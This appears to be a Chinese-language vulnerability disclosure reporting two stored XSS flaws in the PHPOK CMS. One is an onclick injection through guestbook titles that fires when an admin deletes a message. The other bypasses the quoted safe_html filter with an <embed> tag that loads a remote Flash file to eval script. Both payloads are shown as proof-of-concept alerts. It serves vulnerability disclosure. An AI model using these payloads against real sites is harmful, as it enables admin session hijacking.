### 简要描述: 前台功能存在存储型 xss,可攻击后台,获取管理员权限。 ### 详细说明: 第一处xss漏洞: 留言功能。 后台的输出点有一处输出如下: ``` <a class="icon delete end" onclick="content_del('1299','[输入]')" title="删除"></a> ``` 可以看出,我们留言的标题直接输出在 onclick 事件中了,可简单构造 '+alert(1)+',管理员删除留言时触发: [<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png) 此时输出: ``` <a class="icon delete end" onclick="content_del('1299','test'+alert(1)+'')" title="删除"></a> ``` [<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png) 第二处xss漏洞: PHPOK 过滤 XSS 的函数如下: ``` function safe_html($info) { if(!$info) { return false; } $tmp =...
### 简要描述: 前台功能存在存储型 xss,可攻击后台,获取管理员权限。 ### 详细说明: 第一处xss漏洞: 留言功能。 后台的输出点有一处输出如下: ``` <a class="icon delete end" onclick="content_del('1299','[输入]')" title="删除"></a> ``` 可以看出,我们留言的标题直接输出在 onclick 事件中了,可简单构造 '+alert(1)+',管理员删除留言时触发: [<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png) 此时输出: ``` <a class="icon delete end" onclick="content_del('1299','test'+alert(1)+'')" title="删除"></a> ``` [<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png) 第二处xss漏洞: PHPOK 过滤 XSS 的函数如下: ``` function safe_html($info) { if(!$info) { return false; } $tmp = "/<([a-zA-Z0-9]+)(.*)(on[abort|beforeonload|blur|change|click|contextmenu|dblclick|drag|dragend|dragenter|dragleave|dragstart|drop|error|focus|keydown|keypress|keyup|load|message|mousedown|mousemove|mouseover|mouseout|mouseup|mousewheel|reset|resize|scroll|select|submit|unload]+)=(.+)>/isU"; $info = preg_replace($tmp,"<\\1\\2\\4>",$info); //$info = preg_replace("/<([a-zA-Z0-9]+)(.*)([onabort|onbeforeonload|onblur|onchange|onclick|oncontextmenu|ondblclick|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|onerror|onfocus|onkeydown|onkeypress|onkeyup|onload|onmessage|onmousedown|onmousemove|onmouseover|onmouseout|onmouseup|onmousewheel|onreset|onresize|onscroll|onselect|onsubmit|onunload]+)\s*=\s*(.+)>/isU","<\\1\\3>",$info); $tmp = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU","/<link(.*)>/isU","/<\/link>/isU"); $info = preg_replace($tmp,'',$info); return $info; } ``` 可见只对标签和 on 事件属性做了一些过滤,可轻松绕过。比如,通过引入 flash 文件进行 xss: ``` <embed src="http://chuhades.sinaapp.com/xss.swf" quality="high" bgcolor="#ffffff" width="500" height="500" name="FlashVars" align="middle" allowscriptaccess="always" flashvars="action=eval&codz=alert(document.domain)" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"> ``` 前台: [<img src="https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png" alt="屏幕快照 2014-08-25 上午10.50.20.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png) 后台: [<img src="https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png" alt="屏幕快照 2014-08-25 上午10.50.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png) ### 漏洞证明: 第一处xss证明: [<img src="https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png" alt="屏幕快照 2014-08-25 上午10.42.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251042202b14df412d267deaad58c837455e524e.png) 第二处xss证明: 前台: [<img src="https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png" alt="屏幕快照 2014-08-25 上午10.50.20.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050388f33e7b7da553b66bac8a388325b12e0.png) 后台: [<img src="https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png" alt="屏幕快照 2014-08-25 上午10.50.03.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/251050559cbbf2dbdd25f9acad5ad4d78b993c36.png)